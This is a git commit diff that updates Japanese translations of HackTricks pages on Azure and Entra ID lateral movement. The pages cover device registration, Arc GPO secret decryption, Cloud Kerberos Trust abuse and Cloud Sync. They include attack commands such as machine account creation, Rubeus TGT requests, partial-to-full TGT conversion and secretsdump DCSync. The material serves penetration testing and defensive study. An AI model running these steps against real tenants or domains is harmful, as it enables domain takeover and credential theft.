mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/azure-security/az-device-registration.
This commit is contained in:
Translator
@@ -1,4 +1,4 @@
|
||||
# Az - デバイス登録
|
||||
# Az - Device Registration
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
その後、デバイス内に2つのRSAキーペアが生成されます：**デバイスキー**（**公開**キー）は**AzureAD**に送信され、**トランスポート**キー（**秘密**キー）は可能であればTPMに保存されます。
|
||||
|
||||
次に、**オブジェクト**が**AzureAD**（Intuneではなく）に生成され、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**かどうかや、**証明書**に関する情報（TPMで保護されているかどうかなど）を確認できます。
|
||||
次に、**オブジェクト**が**AzureAD**に生成され（Intuneではなく）、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**かどうかや、**証明書**に関する情報（TPMで保護されているかどうかなど）を確認できます。
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
@@ -25,17 +25,17 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
### TPM - Trusted Platform Module
|
||||
|
||||
**TPM**は、電源がオフのデバイスからのキー**抽出**（PINで保護されている場合）や、OS層からのプライベートマテリアルの抽出に対して**保護**します。\
|
||||
しかし、**TPMとCPUの間の物理接続を**スニッフィングすることや、**SYSTEM**権限を持つプロセスからシステムが稼働中のTPM内の暗号材料を**使用すること**に対しては**保護しません**。
|
||||
しかし、**TPMとCPUの間の物理接続をスニッフィングすること**や、**SYSTEM**権限を持つプロセスからシステムが稼働している間にTPM内の暗号材料を**使用すること**に対しては**保護**されていません。
|
||||
|
||||
以下のページを確認すると、**PRTを盗むこと**が**ユーザー**としてアクセスするために使用できることがわかります。これは素晴らしいことで、**PRTはデバイスに存在する**ため、それらから盗まれる可能性があります（または盗まれなくても新しい署名キーを生成するために悪用される可能性があります）：
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## SSOトークンを使用したデバイスの登録
|
||||
|
||||
攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、登録することが可能です。
|
||||
攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、それを登録することが可能です：
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
@@ -68,17 +68,17 @@ registerdevice.py
|
||||
|
||||
[**元のスライドをこちらで確認してください**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
攻撃の概要：
|
||||
攻撃の概要:
|
||||
|
||||
- **SSOを介して**デバイスの**登録されたWHFB**キーを**上書き**することが可能です
|
||||
- 新しいキーの生成中に**キーがスニッフィングされるため、TPM保護を**打破します
|
||||
- 新しいキーの生成中にキーが**スニッフィングされるため**TPM保護を**打破します**
|
||||
- これにより**持続性**も提供されます
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ユーザーはAzure AD Graphを介して自分のsearchableDeviceKeyプロパティを変更できますが、攻撃者はテナント内にデバイスを持っている必要があります（その場で登録されたか、正当なデバイスから証明書とキーを盗んだ場合）およびAAD Graphの有効なアクセストークンが必要です。
|
||||
|
||||
次に、新しいキーを生成することが可能です：
|
||||
次に、新しいキーを生成することが可能です:
|
||||
```bash
|
||||
roadtx genhellokey -d <device id> -k tempkey.key
|
||||
```
|
||||
|
||||
@@ -1,65 +1,39 @@
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
## Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### クラウドに接続されたオンプレミスのマシン
|
||||
## 基本情報
|
||||
|
||||
マシンがクラウドに接続される方法はいくつかあります：
|
||||
このセクションでは、侵害された Entra ID テナントからオンプレミスの Active Directory (AD) へ、または侵害された AD から Entra ID テナントへ移動するためのピボッティング技術をカバーします。
|
||||
|
||||
#### Azure AD 参加
|
||||
## ピボッティング技術
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): 攻撃者が AD コンピュータアカウントを制御または作成し、Azure Arc GPO デプロイメント共有にアクセスできる場合、保存された Service Principal シークレットを復号化し、関連するサービスプリンシパルとして Azure に認証するために使用でき、リンクされた Azure 環境を完全に侵害します。
|
||||
|
||||
#### Workplace 参加
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust が構成されている場合に、Entra ID から AD へピボットする方法。Entra ID (Azure AD) のグローバル管理者は、Cloud Kerberos Trust と同期 API を悪用して、高特権の AD アカウントを偽装し、その Kerberos チケットまたは NTLM ハッシュを取得し、オンプレミスの Active Directory を完全に侵害することができます—これらのアカウントがクラウドと同期されていなくても—効果的にクラウドから AD への特権昇格を橋渡しします。
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Cloud Sync**](az-cloud-sync.md): クラウドからオンプレミス AD へ、またその逆に移動するために Cloud Sync を悪用する方法。
|
||||
|
||||
#### ハイブリッド参加
|
||||
- [**Connect Sync**](az-connect-sync.md): クラウドからオンプレミス AD へ、またその逆に移動するために Connect Sync を悪用する方法。
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Domain Services**](az-domain-services.md): Azure Domain Services サービスとは何か、Entra ID から生成される AD へピボットする方法。
|
||||
|
||||
#### AADJ またはハイブリッドでの Workplace 参加
|
||||
- [**Federation**](az-federation.md): クラウドからオンプレミス AD へ、またその逆に移動するために Federation を悪用する方法。
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): クラウドからオンプレミス AD へ、またその逆にピボットするために使用できる雑多な攻撃。
|
||||
|
||||
### トークンと制限 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): PC が侵害されたときにクラウドへの資格情報を見つける場所。
|
||||
|
||||
Azure AD には、特定の制限を持つさまざまなタイプのトークンがあります：
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): PRT に基づいて証明書を生成し、1 台のマシンから別のマシンにログインする方法。
|
||||
|
||||
- **アクセストークン**：APIやMicrosoft Graphなどのリソースにアクセスするために使用されます。特定のクライアントとリソースに結びついています。
|
||||
- **リフレッシュトークン**：新しいアクセストークンを取得するためにアプリケーションに発行されます。発行されたアプリケーションまたはアプリケーションのグループでのみ使用できます。
|
||||
- **プライマリリフレッシュトークン (PRT)**：Azure AD 参加、登録、またはハイブリッド参加デバイスでのシングルサインオンに使用されます。ブラウザのサインインフローやデバイス上のモバイルおよびデスクトップアプリケーションへのサインインに使用できます。
|
||||
- **Windows Hello for Business キー (WHFB)**：パスワードなしの認証に使用されます。プライマリリフレッシュトークンを取得するために使用されます。
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): ブラウザから Azure クッキーを盗み、それを使用してログインする方法。
|
||||
|
||||
最も興味深いタイプのトークンはプライマリリフレッシュトークン (PRT) です。
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT とは何か、それを盗んでユーザーを偽装して Azure リソースにアクセスする方法。
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Pass-through Authentication を悪用してクラウドからオンプレミス AD へ、またその逆に移動する方法。
|
||||
|
||||
### ピボッティング技術
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Seamless SSO を悪用してオンプレミスからクラウドへ移動する方法。
|
||||
|
||||
**侵害されたマシンからクラウドへ**：
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md)：ブラウザからAzureクッキーを盗み、それを使用してログイン
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md)：クラウドと同期されたローカルプロセスのメモリをダンプし（Excel、Teamsなど）、クリアテキストのアクセストークンを見つける。
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRTをフィッシングして悪用する
|
||||
- [**Pass the PRT**](pass-the-prt.md)：デバイスのPRTを盗んでAzureにアクセスする
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRTに基づいて証明書を生成し、1台のマシンから別のマシンにログインする
|
||||
|
||||
**ADからクラウドへの侵害、クラウドからADへの侵害**：
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **クラウドからオンプレミスにピボットする別の方法は** [**Intuneを悪用すること**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
このツールは、Azure ADにマシンを登録してPRTを取得し、PRT（正当または盗まれた）を使用してさまざまな方法でリソースにアクセスするなど、いくつかのアクションを実行することを可能にします。これらは直接的な攻撃ではありませんが、PRTを使用してさまざまな方法でリソースにアクセスするのを容易にします。詳細は[https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)を参照してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- **クラウドからオンプレミスにピボットする別の方法は** [**Intune を悪用すること**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
### 課題の特定
|
||||
|
||||
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメインに参加したサーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています：DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
|
||||
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメインに参加したサーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
|
||||
|
||||
DeployGPO.ps1スクリプトを実行すると、次のアクションが実行されます：
|
||||
DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます:
|
||||
|
||||
1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
|
||||
1. ローカルドメイン内にAzure Arc Servers Onboarding GPOを作成します。
|
||||
2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。
|
||||
|
||||
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります：**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。
|
||||
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります: **ServicePrincipalId** と **ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。
|
||||
|
||||
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
|
||||
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。descriptorは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -35,7 +35,7 @@ AD環境内でマシンアカウントを取得する方法はいくつかあり
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exe コマンドを netonly フラグと共に使用するか、Rubeus.exe を使用してパス・ザ・チケットを利用することができます。
|
||||
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
@@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
|
||||
コンピュータアカウントのTGTがメモリに保存されている場合、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
|
||||
```bash
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
@@ -56,7 +56,7 @@ $ebs
|
||||
|
||||
この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **に関する要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
|
||||
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
|
||||
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能（Windows Hello for Businessの一部）は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され（読み取り専用ドメインコントローラとして表示される）、リンクされた**`krbtgt_AzureAD`**アカウント（セカンダリKRBTGT）が作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限があります：デフォルトでは、**高特権グループ（Domain Admins、Enterprise Adminsなど）は*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を通じて認証できなくなります。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用できます。
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能（Windows Hello for Businessの一部）は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され（読み取り専用ドメインコントローラとして表示される）、リンクされた**`krbtgt_AzureAD`**アカウント（セカンダリKRBTGT）が作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限があります：デフォルトでは、**高特権グループ（Domain Admins、Enterprise Adminsなど）は*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を介して認証することができません。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用することができます。
|
||||
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
- 攻撃者が認証できる少なくとも1つの**ハイブリッドユーザーアカウント**（ADとAADの両方に存在）が必要です。これは、その資格情報を知っているかリセットするか、パスワードレスの方法（例：一時的アクセスパス）を割り当ててプライマリリフレッシュトークン（PRT）を生成することで取得できます。
|
||||
|
||||
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**が必要です。実際には、**AD Connect同期アカウント**（通常は**MSOL_***と名付けられる）が優れたターゲットであり、AD内でDCSync（レプリケーション）権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDを衝突なく偽装することができます。
|
||||
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**。実際には、**AD Connect同期アカウント**（通常は**MSOL_***と名付けられる）が優れたターゲットであり、AD内でDCSync（レプリケーション）権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDは競合なしに偽装することができます。
|
||||
|
||||
**攻撃手順：**
|
||||
|
||||
@@ -44,21 +44,21 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用パスワードの場合、Azure ADはPRTレスポンスにTGT_ADを含めます。
|
||||
この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用のパスワードであった場合、Azure ADはPRTレスポンスにTGT_ADを含めます。
|
||||
|
||||
4. **Exchange Partial TGT for Full TGT (on AD):** 部分的なTGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービス（ドメインの主要なTGTサービス）に対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
|
||||
4. **部分的TGTをフルTGTに交換（AD上）:** 部分的TGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービス（ドメインの主要なTGTサービス）に対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
このスクリプト（またはImpacketの同等物）は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれています。その結果、ターゲットアカウントのための資格情報キャッシュ（`full_tgt.ccache`）または回収されたNTLMパスワードハッシュが得られます。
|
||||
このスクリプト（またはImpacketの同等物）は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれます。結果は、ターゲットアカウントのための資格情報キャッシュ（`full_tgt.ccache`）または回収されたNTLMパスワードハッシュです。
|
||||
|
||||
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できます（ドメインKRBTGTアカウントを含む）。例えば：
|
||||
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できます（ドメインKRBTGTアカウントを含む）。例えば:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供します（これにより、ドメインKerberosチケットを自由に偽造でき）、実質的にADに対する**Domain Admin**権限を与えます。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。
|
||||
これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供します（これにより、ドメインKerberosチケットを自由に偽造でき）、実質的に**Domain Admin**権限をADに対して持つことになります。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。
|
||||
|
||||
6. **クリーンアップ:** オプションとして、攻撃者は同じAPIを介して変更されたAzure ADユーザーの元の`onPremisesSAMAccountName`とSIDを復元するか、単に作成された一時ユーザーを削除できます。多くの場合、次のAzure AD Connect同期サイクルでは、同期された属性の不正な変更が自動的に元に戻されます。（ただし、この時点でダメージはすでに発生しています -- 攻撃者はDA権限を持っています。）
|
||||
|
||||
@@ -12,32 +12,32 @@
|
||||
|
||||
これが機能するためには、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます。
|
||||
|
||||
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) の役割で作成されます。
|
||||
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** の役割 (`d29b2b05-8046-44ba-8758-1e26182fcf32`) で作成されます。
|
||||
|
||||
> [!WARNING]
|
||||
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。
|
||||
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これは、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりするような特権的なアクションを実行することを実際には許可しません。
|
||||
|
||||
- Entra ID では、メンバーや所有者のないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
|
||||
- Entra ID では、メンバーや所有者のいないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
|
||||
|
||||
- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要なカスタムアカウント**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) が作成されます。通常、デフォルトのものが作成されます。
|
||||
|
||||
> [!WARNING]
|
||||
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は [こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は、[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、直接高い権限が割り当てられたユーザーは **同期される可能性があります**。
|
||||
|
||||
## パスワード同期
|
||||
|
||||
このセクションは以下のものと非常に似ています:
|
||||
このセクションは、以下の内容に非常に似ています:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできるようになります**。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
|
||||
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインのパスワードが自動的に同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。
|
||||
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミスの AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
|
||||
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインで自動的にパスワードが同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によれば、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。
|
||||
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
|
||||
|
||||
## ピボッティング
|
||||
|
||||
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
